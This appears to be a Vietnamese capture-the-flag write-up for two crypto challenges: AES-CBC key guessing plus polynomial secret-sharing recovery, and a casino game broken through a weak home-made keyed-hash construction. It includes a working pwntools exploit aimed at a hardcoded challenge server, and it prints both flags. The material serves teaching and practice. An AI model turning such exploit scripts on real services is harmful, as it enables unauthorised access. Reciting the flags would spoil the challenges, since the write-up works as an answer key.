'73abc161f1860ec28c27e955d17a298f1e82627e5d9d6d29e69bd8e23d5820529042fa0f7c8174b75421f2cc95309322b7c570db3f023c69c4b21abe55c710825ec68bea83a1108c20787efd0b95d96923edd12666f6302e0e55dd67319a144b70d6307e21dcfaecf459c8bb809b789082954cd8722e7c318ddf788382103063c4faec8f3fa4516d15013ec76e0e692f767fe0db8ba8b767b74e57cf857bfa2b0918214e56060a98bc4d56f9f17cdcd605d1b36141bbc6a83bbbef9d3b13acb52efaa2267af8822d98d9cfa89f04392afc560aabcbc5d6084a4383665633390fd2651ad6aa717191980f739776675d3be113711d401c5a6a98e94a4ee2842af30f929f684d76cfd57c1d6d7a44cdc667bba7218f88d07357474ff9eca0f17deef292f3f4c589634fea48c2ac66e92dc6862d0ff435acfa527ce20083cd894d81cd2ed3dbea9051dc9a219256de2561ceffe355711a70890bde16e3658f53cbd1659debddbe49017c5cf0f767ac9880191591fa061c7801b4a5e1c29edaa567e8fd1d790cefe3d35056f10633ea4d4b998ac4416b8438f45c373f5926244f8f817e539c0973821c7d55a211c1d765c4bc3e3e3f7c6c72ea32ac11db15102188f9ca41cd13791fa58a487c133c62ec420eddf068bdcbb531af13fee9abce533b9311ddc99a334c361f5afafae0781a2591b62ce71613c3bc64994e237e48286f8aab6e4a85076fc4fc7d7eb408b61b7e2d'), ('519910a03686b4a0adf7972b0a94aaac', 'bc75dc6e1a0e0803e5a5b6d1f2581f4523cb043ccfdfb139c6c0dfca5e39638b1eda1034f53ef098703a0d7138cb59cac30869280af74b61be84d8cb246b68a5220949dcfa8f24fa2500833d392e80121e8499268eb792b74ef1d3868d8bfe53b99a1115d8dd7990ca769ce2d9e1024aafbd80c7d5ff09872043ceda62aa9f549a754d5bf2c34cf45f6ba360a3eeb7bb98bb9803b178db2cd469dcf57a6482e5543aeb5adef0610229a20a745b02562894fc46e92fb22e08d7f90a7212eb641c220648322aa0e81d3bcb5202e518e708111c75b8ec3e7f4b6a566aff06b4b8c33d733b1e03a10afc2e6d7fff428ac11372be9c68f405f0af0405f847179aa2d63f41e874c4990bee34f550045da29ae862ba542b80c552e3cccfa7d812d22f3d9343bdc51de4af6a47cc488a7c154ddec573b1cae67db95b2d14f276a32892938de1784827443d9c9d6945da9d2570a5becf97399313280e475eec96296089e8799e6fcc79e56d02ba07e7af885ddba9506646a905e5d64cf7937bbf1126f9941bb417466ff2638185368a0143c51f7793875bfe4874f4b0e2eaa16f32e66d32f049120126571136f7a1038b65360ca4e7754e9410d313d7c2ed859d69041eba756dc0f3e5d7f9399676ab2b8de793722ebcb767a982b77beba9a4f8f777de7756f7c15b7430ac6cd815e9087936c206ce471ea84a3089bab352d76b3242b172b5ad06c2c83c03c79b957663c42be841'), ('e5f8e3f00e4e990c176eb73d018992f3', '89edecd44d05e505de4686a24cad7df190a81a130791c28890541adcb44cf59654e1dfdf2a908aea5596a689d5f25ae1200b7f8580ae689bfab36fabe23f55ded37471eef6fdea1dfb995f17e5a9aa96c75a85955e30a13c94666308cd8f64ab7dcca7b04d55ee31624b6ca7c16a41ade7a4d0f36cb4d3565047103920d98d0e4f3e111794691a680843b6312fba878438d6b50b443ae5cb64f0803eb7694df6245993618f6bbd16c9e9174aef98fa4f6ccb4b6fc3eb4b06ddaa6ce5a01882a8f3dc0f3cbf49715008f22643315632d0cb940c6be663eb562b34e93be528fedf86edcbfb792d4bc764c1bef568e7d1dcba541d0d2437026a7c9ed723d858e6a6e084b6353b11eda8d9509a9a104dca95e6154e9c0aa1f0186fcadc1f84101305a0b7cf6ffdfe1516279da1fa885a8b58e0ce09ac75a1303d3a30a40d3c26c88cc6edd599acdcbaec82583e06ab459d219eb45d9739c774de56c0e75655336aa9c4de3b83eee553f7a631109ae2ff86664a3215053c4c4086bb136e14e50d4bfbb9c7a088b0453b8d0ddbb10717204c9d739666a62e181a40e265a98d255b90e7c70beb692b61f65b0f00b5d179dcf6ebca3ef237a39f296d5ddde66ab8196dda660dedd1fef2f90341824a5b47e66102fa37ebdbbed1e1fbf5f88fc4a665ee9d566d2c0e8c60d262c94f049754ee896377df9a179e037b6f9341bab2fb21c209ad07ab44ea07a8ec78775b32079b2db4')], [('fdd0f89781359274d09fa75b3af5df23', 'de39a2bfd0633d03a8ea708283141e29f7dd643ea05adf129fac22b25012d450482fee48c578f4d83498752a565cb571004677421d39e3c044b29549e3ae087ec33dca39a230d5929d449ddfb76263451af60c03b35a333a32380ea45447a8dff431a3311cf3cb7add46a1369851ca1f766da80074e7ac33984d67ebea1b8ef70fa0110038e1f826d633cfbc56631b1731ad95df04e71ac99db2c58203c280d7f8c1f59347e2d61631c41e31c7a9f2d3499a7b0332f5d0833373fd95d18685dc749100724541ed3a74547dfb9400401832eea39bb302496feed89bb63a9cbc34c8499df6fe7911183a59e6036b8b7153a7410b90896dc3c9701a4ab234f6873521016c8e6ef725b18bca8b1447ae5130bc92fac66df75c4a39ebbf0b796b6f6e5c0d0a719212260cc2ce80de8636e54f2b9521bc5f238eae213473073f382017438e2bd12c74eeae0ac79cd88d88277b45529cfa8aaf2cef03c95c5119588b064f0ca8c39b48603ce560edcbdca67c81811e9d56a1f12a721e42766b0bcb30fac331b721cb4fbe91b3ed41261e79ea8bd7b0528196dc93104493f3468439e95c1f244799c9c44eceb91a094ea912eb484efc641ac9ddfbb074d998e32ea5dbf37286a46670a9b09f986df30efaaa33bde2ae8ccdfc199d3f1313854678d1cb2f0859ddaf3b785890b34fa067db8a0d4bf188abb57bc67dbc60026527805e1b29'), ('17b3c96e8cc9be77c1ccdf88ad7d7153', '3cedfab70998b962267e3ca12f6bb24038231780a8182fc35616154c7de7534925ce33c9cb4e3122b41e6663746e6329a3cbf350f26ed033530dad507b4e38e479c24c5a224252bff7acb88f20074a7ed878bf057b67ea1a5c43f2a5f334c9b15531c0564fb06b66bc793183699d21b4ed0dd11380a82b86bfef67a2f43aa80878aaf57c2d0e671f58ba1bac992093d0b1fad469997f059d22df6eff1c46210cb99d5a6f174e133249ec943cf11ae8b03c86831c9c06da25c9409f0dce6c373c7f4ae3abd8b1eb9777fbb0449577b5d720f5b3e3762515d212e47e1b495dd0d77b1dfa7d5b47032e10a56bb3cb4bef750aa07aa9ab67ae34f236b638ecea59be03a1745443f9879ecd08655dd5577b7f93112167cf5e359ecb21f406b553e101d02ba72c100a8e28b4fe4a0caedb1abe989ec6945d7002cfa6ec18b4eb8d6f82a649ed73d4b189622ad7429e1fd47b953432b291ec145234b799064f92a9632434b8596155b14bdfc2bf6e1e11db166645ee2ab7a408012185a94e11cfba11e86c3099843aa6f8db16a8cd13b0a5c3a6468a6e9a993f20bcc874555f57ab60d7ee3260507122f044b5d1548866d7f3a3aa2c39a98e8ff229e3be24848b82dc93bb3d36351d43a0bddad8ad16b2e4b101148bedf90edbd18f4fde2d16b4ee7b6e4bb4122e1916ed7714cd84d3985a05a06cee60b1fa88fc77296ed2fa6bb79bc7'), ('7a1690939f3504d8852e019bce703b36', '812593ba370e505a49454f3f6c577145740a4e480baa5c664438eefcb2c7b43cbe5ee70f4508d9f0573eb51e0d092d510ef39afb9b865a01b3ed3e52b0e1178dc5b5134e78ab7dbf67867df44d97d670f909caafae8c83e8137cc15d3b31f75140a6c1f0aaf731f7eced270889ac8baefac1a4915958688bff9e72642c20d3d07101e657c3f13e5b22fcd0abb1a1fbce3ef80148b602c27d77224b6b90b4888b91fe4709078908c66caa0ea7b5ab1c4cf44e440d72d029fd4195f7d7473b2439dafbb584aa2d311f61e7d7856bbb9ecdfe43f67dc8a7a584544e7d504be5f72f2c004b3bad7297a095a0dc946afa4734404ed854a81e94e459db2451f879a56ff88070ede0b2a50e80eb3bc4f0a57e7a0d7a26eb75a60841c5dd27a88df069e2d4168ab4fbc611d4d41b76f02aa4a7dcd6e4e961cff8f395e6c102b8b3f310ed1ca9a2240fb8c18ee144cf4811ab6d401f581098104a8904113231112f1548b5eaed352a5715708343156ee5de5da4cb6bb0a1c588b3134a15de09bcd66f6ab992de332350495a032595c56cc9ffa88ab2bb06f69a07925f993c2eff3fbcfdc439842740cc1c766bbcf0bc9e723874477649d53b31ead273a53bd3db4854a45b464f73d6644b25f0f7bc59160505427aebac54c3de1277a23a7674ab442cf15423ee92801869240d78a1868c0cd91b26963397ee415f35e750efc3fc7c575c76'), ('eea1250fb02d2caf92b6a8d876b14075', '94d5da092886333e61ba6c314e02f14224b9a95fd94f6f389665cd9d206f619ddc188548d359815a9cc633c280b8bb7abe7a6ad3c7b88bdfd23043c3b76c75219f6092e8d7a324b57cba39104142a90f828beebb37698de5339cd13a947051d59afcf5fdfecdbe42928f66e63e67fc032415045142c24c89971f771af5ce85e873ffa23854663d6935091af754f0daa3c73ccbf4e456fe0f0fe61215499f46bacf6d1ad82fe87bf13bfa32dc2ac7c35bb7f5d965b00a026c0807212ba9157545915bb54457e3e336edd68e974841fa84d34aaaeed4287f1679ee470d87ebeac8657d85be49ad264e521a6aa97b4e73bd305cba86765333339766be4fe0871cd651fdefeea435c3237f5e936c683f34275364fea0f5ba2549fd2c847cb472c1bd454fe76fb70dccb7d3873190c340a5f749269edb38b9f25b293d1bfc07fcb2bfc395e4e8d10aea5696b55655a88dd0e77b6f2c65434dcb2425ac18af4fef250f321f9f3b46d6cc8f00fda100363f40e663280f1684282796919780033da5028b4274cb213c3c111fc9ff005affee5cedcad5ead0cd1f3896134e3a8db6322a920b1257fe1f7edef4ff631cc01f6a3113846588edb2d5785d2b6038dcf6d50f3f91d8600225eb787da4f95969fb7e91992cfc9a6c306d620da1a96dc79d71b1cd2c1b1e55536ea1465db78dfb82bff19c8d860968a0a8691ca6e39cf1e0e1cf59'), ('82c51f77149b042a6f38b44b0271f8dc', 'ed615261517660499d6daedf05a37cc82e2570a73d901f3c0296270e6bad08a4383ba060758df6507994ea99847d4ab57f5ddef04f67f8b586d65645c0839d8ef1832f014fdb8650278a831ceb1aa4c6d0458459665dc1fffe73efeef01c48a78a6f2d3161a4c84a4d0136cfad011092f066e11629ead12ccc0ee5920740b9b1e470f48cc384d139581bf6ba2f0f19eebc6de74c92f7cbe5118ae9529d27de10969fc60799da805e61918e482ff9866abd2feeafb21f60f099ab37a0902a3394f4e4808342ea9191f8c4422b2d0773434286cf0fbafe29a8f2c72a0bd63824cc23dd69d89374b9ea9ba2bd72ef96720c4e53a46077090e97b945135f321b3ea38bf67e9963f10f089679752ef46b15e65e3d29a5f51d021abd386b30b1a551ee658b142efae4641ee39d1d936ffacbdca8fdaff70b570ff43adedab7fd621261d543a0f83832ae0d07ecb9c3fc9141717401b55518bd690f898d8205c13de38669a300a47781becaf20293e78582457de4ffbc5d99027e65c69cdd2f7c3a8b1a4627cdbe08af810f5e502567dead38b0f369c227a8ff718335e1161aa415bc08435ca3e052082a0fa089c4f80d27a52edea78948dc40a906e15bebd4c5e34f93266517f8e2f0b939f977554e94e21ed0551bb92ec76770d5e4fad0ed49d862556277d36a54693e115c472f173228d420eabd9e18c70c7c10ca65ac8fc4c15002'), ('750bc348b97e2babbff2a2ab090a2690', 'ec1df20251dfc84dc53f7b1b2460fb9691744453f8297e6dcfc9372c5c079a42d00d1468a51ac420a94126f5920356d6c8dedebb05d12084a58879a70df316ab4a93311c978d7985fd84df74f759eca9b4d14b53d633a33269309011438608b8132edd8db941adebf2664998d47ef197a754deb673253f80561bc3af9ec7dbe1b8ddaf9f5abd29d8dc4c8b9d181a029606dbf0cf06f6c9c3da4fab18330d0b9ba51206ca6215e26d9fd95ae1e85323f5adc6e1e01f191ea90dec0c0b2b7d35c86729f8214640fe0e7dec80862122b37d81d22fda1e71c1a78fabcf0e323635d8dadd0f658608e88e0fa3996711f7548d9687d60da6662a750a16bdc7545026e52019da17181b35b06e67b585a007103b0bcd553c86e7125e8a9bd71b6e9acf056ac33efb381179942199f40d65d63b4e194da3631a5d69d74f86dadcefe40dd4cb9720b1c54fd1b55b84e939cc204c6b935092b6bd8cd098273e3846e1762619e4207073146d8b4c84e57ddf5d1a711f5dda5441916bc3f7a58e6092dc748823700a8047aeac84eaf80c764610b058733be543988d5e222da44722148f0f6de1e024bd72cd5027c71aa88d7425fa8a88d0dbd28b4238fcda18b745b5f1b771c44b57e6987ed912d165eb25577d24367b1db3a396e9bbd4c64513b3bec66f96423ca24ee703bb156ff3e4791f6491d3f5eceda94542e8432290a2ea12a88906a2'), ('ba87f35146ae244d3687d0b6424b5d2a', 'a04f3e3535961e5adcfb8a2d066e87316f4ed96c5e2e07ba1c72cd11ee3c2ca252267bdc55693fdb84bb6e169e348349fac2f37db85bf9370fb9f49aa1b86961604e0d9f993feec339157299744812552e7e80dd1ff813ec7d93a8f076046bdb47d30b5289751374042e345be1e254ed0aac856bdcf3d5c65868e26302bf2b69f18f883fef5f46f67a0e90cbb4aab3baf855fe11dd06c5cf48cdddda23e90ec814055d904405821b50cd80e94c03a1c22b78a11dddce22cdf6adcb3c752cc0c9f9e49438687dc465911a2bdd0d7151a14f2a17f32ccd27737151ea0b21dbd0c6d4a7aad82ec87a90706e068184076e30471f6af43047bfb32c3aef141ab588a240985ac9ecd314a53d67e326f31f02de983e7ad3925fe8e575489fb40729531bafc471211f4c80496ff6d493ce27cc90e61db9d682842e6faa00a1eb4721a9f568bd4830ccce5000d2906276287a822153d2faab19c0a53f101367ca4a5d31089cd4b3154a159630cae34b43589cc1d15e291a57bff1e6f22f2d0e1da8cea6cf540c9d587d41e79be0769f69d219cbd499bbf182d6e65a3b9470b0034da7bd8b6e9230ac671c1c2dd75cc04cb093ef2751d1c7f355d870e30958682a2ef44a2edece705f6481a5e8dcc23d3600885e2ea5b8031c93946e869bd9ef6c5b5e6f9a5da3778c1504cdf8c6564be3d331dc6654c0a46265cfd17a996b8a5c1cb0ff0d'), ('c9e6539e83bfa3ce2e23c55a62658210', 'e1ada87c8e26e27fa1b254be9b79aab86ddbf9bfb7a8488f84469311befea74f69eab0447d76a0ffaa016392aef06cccdfe685dafcea6f79e3dba8b2bdf91563c06b29693fa2517e157af45b391d0f616e7f97b333b4b1b42996dc08c5be0acecf064d9f5b7019461698c22ff8c16e43da2eaefc70442ee50c1f5b5ff85cf84e48a1b4b187a2f93258865604d6ee17142ab338161a46dae40fd20c99797de6c23c8074753fa9a7f3e986a92dd8b2bcad18fb64fd342bcabf28db2cdd52cf5c02effc4e03ce12cdd075d5d22dde6a35917ef355f9523096c2e2ac9422b0b9327241d5740dbb84667c31bde3047db86693ab950e08fa958786b46fc75b73437626b674a7c90febbea8a186a2b84ee3c5cd0634460e53845d8a28ff29c65166fe3673aeb0e74827ef397837247d01d1bece06b547fdf4bbbb48716ea0f8bd8988123a0fea2b62bdfe1e4abfb6df41b6804747eb4bb49a8c27bcd62be316e018fb58606652421cd22f607daf060c6d2bf233680edad9b7bc49c1205c2670b259674272fade9b9a34d5cf82b34d70a87d06f1af49b7af657a477f9e105fb6d1c612d441f7582cc7471159e1a4275e0fea3729979d046d0fd88a91dc6f94312ea5ee9a0ed9dd152f9bd1598f14d05f877eeb72e93282d0034ae507e6a4b63d019274c8ffd533c4682c42815e8ebd44a938ba5a844bf26dea16e0dc3ea479741395602f'), ('1020dc977f2a38dd689000f5c09f1eea', '907f73d25d0abe361c7c367af7c277df254ab628acf62aa69c8fdc8499eefd768d1d0de6cf498a17070be451b3bc258ba929ed47b45cc3c74e18321ea1275ca433145dade987f2c16e1d61e8ac1d7fccc353c9dd6b08076a899ce11649d9404d46c999228a0b7e48338d78a746543b696b0dfbae3b063cbc86df88a32a428e3dde29d99ef7cd164a03db424461b5356ccaa3934bd8fa1565d10176d8199055676696d78563fdbffc27291093c9f69517072b7424fbffa5a4392eee62a9f8a9420e9cd70dc78d7cbdbc1edcaef4d1eba72a17074348af9ac241481579c92f0185e209ea9d54c1af5cd037be7bdcfe3f4bbae7e5fe77ad80ed8c9ce924fe65ca30252ad0e60e99903991c3ec00572a9416db52bc242af7a7e66d8ad65508782d639e119c3bc1f628e648a722930f2eefeb21a5f521daca791a94846170f598a524231fdf28d9efc48fdb68caa3ed5e1aa088bf6c42b297f4d3723858466c75494295704bf9b98dc3a238998938af08a407a0366527a519daf254ffce879a86e5bc3f6e21c32c6d3a6982f57fd6af0d22f96899696d47313dbfdef06671bb82045d787327a68b222cad797585663693366960e778ebc52896a76090c492ea15ba1d47784dfc09b08fc421007a537bc02f0f731df0e25e4d94e7f9410c12c46a930ef54a9c98a8837218db94823b4ea85bd0490f9a7d95d2dd6d24b5c1e3f46941b6'), ('9e6e93c485558d9d32e82c0e6bf5be00', 'c17b5932d26b6007f8720b8be1468d0fea831a2c90bbb2ec882b2d03e3e7ddb4f4f70807bcfd9b294c3c4a9917cea0f71b6d53e6551fc01336216d5866fd18c52ad0e282c67933cc22508a43af9923588ac26635282b3196b946a9b392086aa17c26050e17585513c804d9a9597acd20bc1a7d88984dc410f83deef27e5f832d73655cd0c9478bd9bdaef1823685358e91405bc5e07b0c9e741d0d0be1b779e1cdb02c87cc8f0cb3c32362fd49abe8ed953501dbb9a94de05b3ab1bed206b72b6a584e0b1416fae0ea3c806609f4b439008e5a43417726a63126cdbbd901501c24fb76ca0dc2ddb776b39ac20efd8da882dedc97b0e8ef8ff60529436b6567aea4a54330860483bba843d147257d081c0f5760458810eddadb1733102fc101b3fa5ec8bc7ce2d305f2d73665f4ea2298c23511a7a7357619a9f4bcc633eb6121584b600dbd1a97f8c4803edd449213184b95e02efe09d04a8475cd4504a07e2dedca17e3fe916e2e36fbb0ad599e569684ca0b0cc529bb4ad2fa3de9354be5c892611d13a42fdfcfa7cf655e5d28577774e9c1a68daf236ab0736bded07a1bfe194a72bb445c8be1ceec9132b2aa4659947d699ae3216d540d7dcda6f7bfcae6ae64c5a5f4355648c07801f18106c9b9d68b852b59956c799b0c2e8ee70317199b37a52a0878efd494650948a691a7915f323b95a24b7d606effa085362a3e81')]]
00cc03bebb6756fded9a55e772b665d3f98004163904713b83c0bfed06558e9ce57d1d50409179741b09d5f059d668d5fd7775892e403357200c5c516125cb53451f52d34f08e4e2885588c046360bfc44c84a3a4da194484d2ca414ba01e698221936ea8e372b6a3bf4af1c85a99e54df52b58d6a7a0add3752e88fa928c15d
  • Bài này thì mình có enc_msgenc_flag. Có lẽ mình sẽ phải tìm lại msg trước để xem nó có hint gì cho việc tìm lại flag không.

  • Nhìn vào cách nó mã hóa thì msg được chia thành 10 phần mã hóa $CBC$, $iv$ thì có rồi nên chỉ cần tìm 10 cái key thôi.

  • image

  • Nhìn cách key được gen ra thì mình mình đoán là giá trị out chỉ toàn giá trị 0 hoặc toàn giá trị 1 . Tuy mới chỉ là tiên đoán đầu tiên nhưng mình cứ thử xem liệu có đúng $out = "0"*256$ không hoặc $out = "1"*256$ . Thì mình tìm lại được $msg$ thật :))

from Crypto.Util.number import *
from gmpy2 import *
import math
from pwn import *   
from tqdm import tqdm
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
from output import *


MSG = []
for enc in enc_msg:
    for hint in enc:
        try:
            out = "0"*256
            iv = bytes.fromhex(hint[0])
            enc_msg = bytes.fromhex(hint[1])
            key = sha256(out.encode()).digest()
            cipher = AES.new(key, AES.MODE_CBC, iv)
            msg = unpad(cipher.decrypt(enc_msg),16)
            MSG.append(msg.decode())
            break
        except:
            pass

for msg in MSG:
    print(msg)
  • image

  • Theo 3 following ở trên thì mình cần tìm 1 đa thức từ 5 giá trị $shared$, sau đó hệ số tự do sẽ là $KEY$ để tìm lại flag.

  • Ở đây mình đoán có 5 giá trị $x$ thì phương trình cần tìm là phương trình bậc 4 thôi. Mình giải bằng ma trận nhé:

from Crypto.Util.number import *
from gmpy2 import *
import math
from pwn import *   
from tqdm import tqdm
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad

enc_flag = bytes.fromhex("00cc03bebb6756fded9a55e772b665d3f98004163904713b83c0bfed06558e9ce57d1d50409179741b09d5f059d668d5fd7775892e403357200c5c516125cb53451f52d34f08e4e2885588c046360bfc44c84a3a4da194484d2ca414ba01e698221936ea8e372b6a3bf4af1c85a99e54df52b58d6a7a0add3752e88fa928c15d")

x1 = [1, 27006418753792019267647881709336369603809025474153761185424552629526746515909]
x2 = [2, 76590454267924193303526931251420387908730989759486987968207839464816350274449]
x3 = [3, 67564500698667187837224046797217120599664632018519685208508601443605280795068]
x4 = [4, 57120102994643471094254225269948720992016639286627873340589938545214763610538]
x5 = [5, 87036956450994410488989322365773556006053008613964544744444104769020810012336]
p = 88061271168532822384517279587784001104302157326759940683992330399098283633319

B = [
    [x1[0]**4,x1[0]**3,x1[0]**2,x1[0]**1,1],
    [x2[0]**4,x2[0]**3,x2[0]**2,x2[0]**1,1],
    [x3[0]**4,x3[0]**3,x3[0]**2,x3[0]**1,1],
    [x4[0]**4,x4[0]**3,x4[0]**2,x4[0]**1,1],
    [x5[0]**4,x5[0]**3,x5[0]**2,x5[0]**1,1]
]

C = [x1[1],x2[1],x3[1],x4[1],x5[1]]

B = Matrix(GF(p),B)
C = vector(C)
A = B.solve_right(C)
KEY  = long_to_bytes(int(A[4]))

assert sha256(KEY).hexdigest().startswith('786f36dd7c9d902f1921629161d9b057')

cipher = AES.new(KEY, AES.MODE_ECB)
flag = unpad(cipher.decrypt(enc_flag),16)
print(flag)

Flag:HTB{what_a_cool_random_number_generator_by_bluuuuuum_bluuuuuum_and_shuuuuuub_i_implemented_it_securely_didnt_i?}

Not that random

credit: Zupp

Description

  • Challenge server:
from Crypto.Util.number import *
from Crypto.Random import random, get_random_bytes
from hashlib import sha256
from secret import FLAG

def success(s):
    print(f'\033[92m[+] {s} \033[0m')

def fail(s):
    print(f'\033[91m\033[1m[-] {s} \033[0m')

MENU = '''
Make a choice:

1. Buy flag (-500 coins)
2. Buy hint (-10 coins)
3. Play (+5/-10 coins)
4. Print balance (free)
5. Exit'''

def keyed_hash(key, inp):
    return sha256(key + inp).digest()

def custom_hmac(key, inp):
    return keyed_hash(keyed_hash(key, b"Improving on the security of SHA is easy"), inp) + keyed_hash(key, inp)

def impostor_hmac(key, inp):
    return get_random_bytes(64)

class Casino:
    def __init__(self):
        self.player_money = 100
        self.secret_key = get_random_bytes(16)

    def buy_flag(self):
        if self.player_money >= 500:
            self.player_money -= 500
            success(f"Winner winner chicken dinner! Thank you for playing, here's your flag :: {FLAG}")
        else:
            fail("You broke")

    def buy_hint(self):
        self.player_money -= 10
        hash_input = bytes.fromhex(input("Enter your input in hex :: "))
        if random.getrandbits(1) == 0:
            print("Your output is :: " + custom_hmac(self.secret_key, hash_input).hex())
        else:
            print("Your output is :: " + impostor_hmac(self.secret_key, hash_input).hex())

    def play(self):
        my_bit = random.getrandbits(1)
        my_hash_input = get_random_bytes(32)

        print("I used input " + my_hash_input.hex())

        if my_bit == 0:
            my_hash_output = custom_hmac(self.secret_key, my_hash_input)
        else:
            my_hash_output = impostor_hmac(self.secret_key, my_hash_input)

        print("I got output " + my_hash_output.hex())

        answer = int(input("Was the output from my hash or random? (Enter 0 or 1 respectively) :: "))

        if answer == my_bit:
            self.player_money += 5
            success("Lucky you!")
        else:
            self.player_money -= 10
            fail("Wrong!")

    def print_balance(self):
        print(f"You have {self.player_money} coins.")



def main():
    print("Welcome to my online casino! Let's play a game!")
    casino = Casino()

    while casino.player_money > 0:
        print(MENU)
        option = int(input('Option: '))

        if option == 1:
            casino.buy_flag()

        elif option == 2:
            casino.buy_hint()

        elif option == 3:
            casino.play()

        elif option == 4:
            casino.print_balance()

        elif option == 5:
            print("Bye.")
            break

    print("The house always wins, sorry ):")

if __name__ == '__main__':
    main()

Solution

  • Trước hết mình vẫn luôn phải hiểu chall đã. Trong chall này mình được tham gia vào một casino với 100 coins cho trước, và bằng cách nào đó phải kiếm được 500 coins để mua flag. Điều kiện khá đơn giản, tuy nhiên mấu chốt nằm ở cách kiếm tiền mình sẽ phân tích dưới đây.

  • Chall cung cấp cho chúng ta 3 chức năng chính (tổng có 5 cái):

    • Buy flag (-500)

    • Buy hint (-10)

    • Play (+5 / -10)

Buy hint

  • Chức năng này thó của mình 10 coins và cho phép chúng ta nhập input vào rồi sẽ nhả ngược lại cho mình hoặc là custom_hmac hoặc là impostor_hmac. impostor_hmac thì không có gì đáng nói, chỉ là 64 bytes ngẫu nhiên vô giá trị. custom_hmac(input) là 64 bytes có quy luật.

Play

  • Chức năng này random ra my_hash_input 32 bytes cho mình. Sau đó cũng nhả ra một dãy 64 bytes và bắt chúng ta phải đoán xem đó là custom_hmac(my_hash_input) hay impostor_hmac , nếu đúng thì ting ting 5 coins, ngược lại nếu sai thì pay 10 coins.

Phương hướng

  • Để biết được đó là custom_hmac hay impostor_hmac thì cần dựa vào input của chúng ta. Bởi impostor_hmac chỉ là dãy 64 bytes ngẫu nhiên, còn custom_hmac có quy luật như sau:
custom_hmac(input) = sha256(sha256(key + leak) + input) + sha256(key + input)
-> custom_hmac(my_hash_input) = sha256(sha256(key + leak) + my_hash_input) + sha256(key + my_hash_input)
  • Lưu ý trong cả hai chức năng thì key được cố định và đây cũng chính là cách để mình kiếm tiền.

    • Đầu tiên mình sẽ Buy hint từ server với input = leak = b"Improving on the security of SHA is easy", việc chúng ta nhận được custom_hmac khá hên xui.

    • Khi có được custom_hmac(leak), mình sẽ cắt lấy 32 bytes cuối để nhận được sha256(key + leak). Sau đó mình sẽ đem phần này chạy qua sha256 để khôi phục lại sha256(sha256(key + leak) + my_hash_input) do my_hash_input đã biết, chính xác đây chính là phần đầu 32 bytes của custom_hmac(my_hash_input) giúp mình phân biệt với impostor_hmac.

  • Code:

from pwn import *
from hashlib import sha256
from tqdm import tqdm

HOST = '94.237.49.212'
PORT = 30279
leak = b"Improving on the security of SHA is easy"

def keyed_hash(key, inp):
    return sha256(key + inp).digest()

r = remote(HOST, PORT)
lst = []
for _ in tqdm(range(10)):
    r.sendlineafter(b'Option: ', b'2')
    r.sendlineafter(b' :: ', bytes.hex(leak).encode())
    r.recvuntil(b' :: ')
    get = r.recvuntil(b'\n', drop=True).decode()
    if get in lst:
        exploit = bytes.fromhex(get)[32:]
        break
    else:
        lst.append(get)

for _ in tqdm(range(100)):
    r.sendlineafter(b'Option: ', b'3')
    r.recvuntil(b'I used input ')
    my_hash_input = r.recvuntil(b'\n', drop=True).decode()
    my_hash_input = bytes.fromhex(my_hash_input)

    r.recvuntil(b'I got output ')
    my_hash_output = r.recvuntil(b'\n', drop=True).decode()
    my_hash_output = bytes.fromhex(my_hash_output)

    check = keyed_hash(exploit, my_hash_input)
    answer = b'0' if check == my_hash_output[:32] else b'1'
    r.sendlineafter(b' :: ', answer)

r.sendlineafter(b'Option: ', b'1')
r.recvuntil(b' :: ')
flag = r.recvuntil(b'\n', drop=True)
print(flag)

Flag

HTB{#rule_of_thumb___do_not_roll_your_own_hash_based_message_authentication_codes___#_ab272f24245e73ec6c19b44331f587fb}